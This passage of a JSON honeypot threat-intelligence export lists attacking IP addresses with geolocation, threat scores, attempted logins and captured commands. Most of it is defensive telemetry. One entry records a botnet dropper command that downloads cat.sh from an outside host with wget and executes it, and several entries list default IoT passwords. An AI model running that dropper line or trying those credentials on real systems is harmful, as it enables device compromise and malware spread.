        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-30T07:48:38.949000+00:00",
        "last_seen_30d": "2026-03-30T07:50:54.547000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 22,
        "Suricata": 12
      }
    },
    "46.101.178.169": {
      "attack_count": 21,
      "first_seen": "2026-03-09T01:59:00.889Z",
      "last_seen": "2026-03-09T01:59:02.401Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "GET /cgi-bin/authLogin.cgi HTTP/1.1",
        "User-Agent: Go-http-client/1.1"
      ],
      "passwords_attempted": [
        "Connection: close",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 23.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.7,
        "persistence": 4.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 118,
        "days_active_30d": 5,
        "ports_targeted_30d": 10,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-08T20:21:36.517000+00:00",
        "last_seen_30d": "2026-03-12T16:16:39.125000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Suricata": 71,
        "Honeytrap": 24,
        "Cowrie": 21,
        "Dionaea": 2
      }
    },
    "66.167.166.95": {
      "attack_count": 16,
      "first_seen": "2026-03-08T04:52:02.799Z",
      "last_seen": "2026-03-08T04:53:46.150Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": null,
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 6.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-08T04:52:02.799000+00:00",
        "last_seen_30d": "2026-03-08T04:54:56.236000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 9
      }
    },
    "38.188.160.234": {
      "attack_count": 15,
      "first_seen": "2026-03-10T23:09:31.002Z",
      "last_seen": "2026-03-10T23:51:42.213Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "100492",
        "201285",
        "alegria"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 8.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:09:31.002000+00:00",
        "last_seen_30d": "2026-03-10T23:52:50.536000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 9
      }
    },
    "38.188.160.8": {
      "attack_count": 15,
      "first_seen": "2026-03-10T23:10:42.664Z",
      "last_seen": "2026-03-10T23:56:16.126Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "14051985",
        "201085",
        "loulou95"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 8.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:10:42.664000+00:00",
        "last_seen_30d": "2026-03-10T23:57:26.230000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 15,
        "Suricata": 9
      }
    },
    "38.188.160.105": {
      "attack_count": 13,
      "first_seen": "2026-03-10T23:01:37.900Z",
      "last_seen": "2026-03-11T00:14:27.973Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "battlefield",
        "westham"
      ],
      "commands_executed": [
        "echo -e \"\\x6F\\x6B\""
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.8,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 19,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:01:37.900000+00:00",
        "last_seen_30d": "2026-03-11T00:15:33.185000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 13,
        "Suricata": 6
      }
    },
    "64.89.163.118": {
      "attack_count": 12,
      "first_seen": "2026-03-27T10:54:54.229Z",
      "last_seen": "2026-03-27T10:54:57.967Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root",
        "support"
      ],
      "passwords_attempted": [
        "support",
        "vizxv",
        "xc3511"
      ],
      "commands_executed": [
        "cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://64.89.163.118/cat.sh; chmod 777 cat.sh; sh cat.sh; rm -f cat.sh *"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 401626,
      "as_org": "Netiface America, Inc.",
      "threat_score": 21.6,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T10:54:54.229000+00:00",
        "last_seen_30d": "2026-03-27T10:56:04.835000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 4
      }
    },
    "95.215.0.144": {
      "attack_count": 12,
      "first_seen": "2026-03-08T05:43:10.619Z",
      "last_seen": "2026-03-21T03:39:23.319Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 44050,
      "as_org": "Petersburg Internet Network ltd.",
      "threat_score": 97.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 27.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 578,
        "days_active_30d": 30,
        "ports_targeted_30d": 31,
        "honeypots_triggered_30d": 11,
        "first_seen_30d": "2026-03-02T06:56:32.148000+00:00",
        "last_seen_30d": "2026-03-31T21:11:45.136000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 443,
        "Honeytrap": 70,
        "Cowrie": 12,
        "Tanner": 12,
        "H0neytr4p": 9,
        "CitrixHoneypot": 8,
        "Honeyaml": 6,
        "Redishoneypot": 6,
        "Dionaea": 5,
        "ElasticPot": 5,
        "Ciscoasa": 2
      }
    },
    "177.124.88.216": {
      "attack_count": 10,
      "first_seen": "2026-03-10T19:15:19.788Z",
      "last_seen": "2026-03-10T20:53:36.265Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "K61719ab"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "Marab\u00e1",
      "asn": 52602,
      "as_org": "SKORPION SISTEMA DE TELECOMUNICACOES LTDA",
      "threat_score": 7.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 17,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T19:15:19.788000+00:00",
        "last_seen_30d": "2026-03-10T20:54:43.676000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 10,
        "Suricata": 7
      }
    },
    "198.235.24.233": {
      "attack_count": 8,
      "first_seen": "2026-03-05T10:50:44.656Z",
      "last_seen": "2026-03-25T10:08:33.696Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 77.5,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.0,
        "persistence": 22.5,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 100,
        "days_active_30d": 27,
        "ports_targeted_30d": 28,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-05T10:46:48.866000+00:00",
        "last_seen_30d": "2026-03-31T03:26:24.953000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 67,
        "Honeytrap": 25,
        "Cowrie": 8
      }
    },
    "45.132.19.23": {
      "attack_count": 8,
      "first_seen": "2026-03-13T10:35:10.218Z",
      "last_seen": "2026-03-18T23:20:36.361Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": "Moscow",
      "asn": 48347,
      "as_org": "JSC Mediasoft ekspert",
      "threat_score": 16.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.0,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 16,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-13T10:35:10.218000+00:00",
        "last_seen_30d": "2026-03-18T23:30:37.551000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 8
      }
    },
    "193.32.249.167": {
      "attack_count": 7,
      "first_seen": "2026-03-17T16:27:02.873Z",
      "last_seen": "2026-03-17T16:29:58.531Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "adm1n"
      ],
      "passwords_attempted": [
        "92429d82a41e930486c6de5ebda9602d55c39986"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 39351,
      "as_org": "31173 Services AB",
      "threat_score": 12.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.53
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-17T16:27:02.873000+00:00",
        "last_seen_30d": "2026-03-17T16:31:05.698000+00:00",
        "days_since_last_seen": 14
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 7,
        "Suricata": 5
      }
    },
    "218.200.173.73": {
      "attack_count": 7,
      "first_seen": "2026-03-16T07:08:47.435Z",
      "last_seen": "2026-03-16T07:08:53.258Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "a"
      ],
      "passwords_attempted": [
        "a"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 9808,
      "as_org": "China Mobile Communications Group Co., Ltd.",
      "threat_score": 15.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.1,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 13,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-16T07:08:47.435000+00:00",
        "last_seen_30d": "2026-03-16T07:18:57.099000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 7,
        "Suricata": 5,
        "Honeytrap": 1
      }
    },
    "159.203.47.41": {
      "attack_count": 6,
      "first_seen": "2026-03-29T20:29:17.829Z",
      "last_seen": "2026-03-29T20:29:18.332Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Toronto",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 23.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 15,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T20:29:17.829000+00:00",
        "last_seen_30d": "2026-03-29T20:30:27.647000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 6
      }
    },
    "162.142.125.39": {
      "attack_count": 6,
      "first_seen": "2026-03-02T11:33:56.357Z",
      "last_seen": "2026-03-02T11:34:40.818Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 61.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.1,
        "persistence": 18.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 102,
        "days_active_30d": 22,
        "ports_targeted_30d": 28,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-03-02T11:33:56.357000+00:00",
        "last_seen_30d": "2026-03-23T03:39:04.286000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 57,
        "Honeytrap": 36,
        "Cowrie": 6,
        "Dicompot": 1,
        "Dionaea": 1,
        "H0neytr4p": 1
      }
    },
    "213.55.83.90": {
      "attack_count": 6,
      "first_seen": "2026-03-28T10:06:03.860Z",
      "last_seen": "2026-03-28T10:06:25.164Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version"
      ],
      "country": "Ethiopia",
      "country_code": "ET",
      "city": null,
      "asn": 24757,
      "as_org": "Ethiopian Telecommunication Corporation",
      "threat_score": 21.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T10:06:03.860000+00:00",
        "last_seen_30d": "2026-03-28T10:07:42.943000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 8,
        "Cowrie": 6
      }
    },
    "172.94.9.156": {
      "attack_count": 5,
      "first_seen": "2026-03-06T01:23:14.408Z",
      "last_seen": "2026-03-06T01:23:16.852Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123@Kelltech"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Iran",
      "country_code": "IR",
      "city": null,
      "asn": 213790,
      "as_org": "Limited Network LTD",
      "threat_score": 5.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 12.6,
        "persistence": 3.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 4,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-03T09:46:31.656000+00:00",
        "last_seen_30d": "2026-03-06T01:24:17.371000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Suricata": 11,
        "Cowrie": 5,
        "Heralding": 2
      }
    },
    "103.13.206.197": {
      "attack_count": 4,
      "first_seen": "2026-03-25T03:45:50.854Z",
      "last_seen": "2026-03-25T03:45:58.854Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 138608,
      "as_org": "Cloud Host Pte Ltd",
      "threat_score": 17.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-25T03:45:50.854000+00:00",
        "last_seen_30d": "2026-03-25T03:47:04.028000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "20.64.104.120": {
      "attack_count": 4,
      "first_seen": "2026-03-21T09:43:57.968Z",
      "last_seen": "2026-03-21T09:44:08.459Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 81.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 16.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 40,
        "days_active_30d": 30,
        "ports_targeted_30d": 10,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T04:59:25+00:00",
        "last_seen_30d": "2026-03-31T08:11:09.321000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 27,
        "Honeytrap": 7,
        "Cowrie": 4,
        "Dionaea": 2
      }
    },
    "205.210.31.111": {
      "attack_count": 4,
      "first_seen": "2026-03-21T22:14:51.726Z",
      "last_seen": "2026-03-21T22:14:54.813Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 77.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.6,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 115,
        "days_active_30d": 29,
        "ports_targeted_30d": 33,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-02T08:08:05+00:00",
        "last_seen_30d": "2026-03-30T21:24:28.950000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 82,
        "Honeytrap": 29,
        "Cowrie": 4
      }
    },
    "47.245.87.136": {
      "attack_count": 4,
      "first_seen": "2026-03-26T08:09:20.853Z",
      "last_seen": "2026-03-26T08:09:28.854Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 17.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T08:09:20.853000+00:00",
        "last_seen_30d": "2026-03-26T08:10:36.277000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "64.62.197.96": {
      "attack_count": 4,
      "first_seen": "2026-03-19T12:08:40.002Z",
      "last_seen": "2026-03-19T12:08:44.006Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 70.1,
      "threat_level": "high",
      "score_components": {
        "frequency": 13.4,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 22,
        "days_active_30d": 26,
        "ports_targeted_30d": 15,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-06T07:25:21.266000+00:00",
        "last_seen_30d": "2026-03-31T15:05:13.653000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 17,
        "Cowrie": 4,
        "Honeytrap": 1
      }
    },
    "71.6.232.22": {
      "attack_count": 4,
      "first_seen": "2026-03-23T03:27:37.332Z",
      "last_seen": "2026-03-23T03:27:45.330Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 10439,
      "as_org": "CariNet, Inc.",
      "threat_score": 89.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 79,
        "days_active_30d": 30,
        "ports_targeted_30d": 19,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-03-02T04:46:31.706000+00:00",
        "last_seen_30d": "2026-03-31T05:26:19.795000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 63,
        "Ciscoasa": 6,
        "Cowrie": 4,
        "Honeytrap": 2,
        "Dionaea": 1,
        "H0neytr4p": 1,
        "Mailoney": 1,
        "Tanner": 1
      }
    },
    "119.3.209.93": {
      "attack_count": 3,
      "first_seen": "2026-03-13T22:51:50.507Z",
      "last_seen": "2026-03-13T22:51:51.530Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Beijing",
      "asn": 55990,
      "as_org": "Huawei Cloud Service data center",
      "threat_score": 10.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 2.5,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 3,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-13T22:51:50.507000+00:00",
        "last_seen_30d": "2026-03-15T21:03:31.531000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 3
      }
    },
    "163.7.9.54": {
      "attack_count": 3,
      "first_seen": "2026-03-12T14:24:43.710Z",
      "last_seen": "2026-03-12T14:25:44.520Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 150436,
      "as_org": "Byteplus Pte. Ltd.",
      "threat_score": 36.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.5,
        "persistence": 13.3,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 16,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-03-12T14:24:43.710000+00:00",
        "last_seen_30d": "2026-03-27T02:38:26.010000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 5,
        "Cowrie": 3,
        "Honeytrap": 1
      }
    },
    "61.111.244.152": {
      "attack_count": 3,
      "first_seen": "2026-03-04T11:38:13.112Z",
      "last_seen": "2026-03-04T11:39:15.505Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": null,
      "asn": 138195,
      "as_org": "MOACK.Co.LTD",
      "threat_score": 2.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T11:38:13.112000+00:00",
        "last_seen_30d": "2026-03-04T11:40:17.168000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 3
      }
    },
    "65.49.1.94": {
      "attack_count": 3,
      "first_seen": "2026-03-17T01:28:03.507Z",
      "last_seen": "2026-03-17T01:28:03.508Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
